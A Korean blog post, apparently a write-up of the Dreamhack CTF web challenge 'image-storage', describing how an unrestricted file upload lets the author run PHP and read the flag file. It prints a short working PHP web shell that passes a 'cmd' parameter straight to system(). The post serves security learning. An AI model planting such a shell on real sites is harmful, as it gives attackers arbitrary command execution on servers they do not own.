Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- RSA
- weak key
- AES
- Crypto
- Cube Root Attack
- shellcode
- Hastad
- arp
- 드림핵
- CSRF
- cryptography
- dreamhack
- XSS
- redirect
- spoofing
- picoCTF
- dns
- rao
- 시스템해킹
- Bandit Level 1 → Level 2
- RSA Common Modulas Attack
- overthewire
- return address overflow
- Montgomery Reduction
- pycrpytodome
- OverTheWire Bandit Level 1 → Level 2
- 암호학
- Franklin-Reiter Related Message Attack
- bandit
- 웹해킹
Archives
- Today
- Total
암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그
[Dreamhack] image-storage 본문
문제
풀이
upload 페이지는 파일을 업로드 할 수 있는 페이지임을 알 수 있다.
<?php
echo 'hello';
?>S
파일 형식을 .php 로 해서 위의 코드로 업로드를 했더니 .php 형식으로 업로드가 된 것을 확인할 수 있다.
또한 php파일의 코드가 작동되는 것을 알 수 있다.
따라서 이를 이용해서 공격을 할 수 있다.
<form>
system : <input type="text" name="cmd">
<button type="submit">send</button>
</form>
<?php
system($_GET[cmd]);
?>
위 코드는 입력 값을 그대로 system 함수의 인자로 실행할 수 있게 되어 있는 웹쉘 코드이다.
업로드 후, 확인해보면 작동하는 것을 알 수 있다.
flag가 저장되어 있는 파일이 flag.txt 인 것을 문제에서 알려주었으므로 find 를 통해 파일의 위치를 찾아봤다.
flag.txt 의 위치가 / 인 것을 알았으므로 파일의 내용을 확인해보면
flag가 나오는 것을 확인할 수 있다.
'Dreamhack > Web' 카테고리의 다른 글
[Dreamhack] file-download-1 (0) | 2023.05.12 |
---|---|
[Dreamhack] command-injection-1 (0) | 2023.05.11 |
[Dreamhack] Mango (0) | 2023.05.08 |
[Dreamhack] simple_sqli (0) | 2023.05.07 |
[Dreamhack] csrf-2 (0) | 2023.04.16 |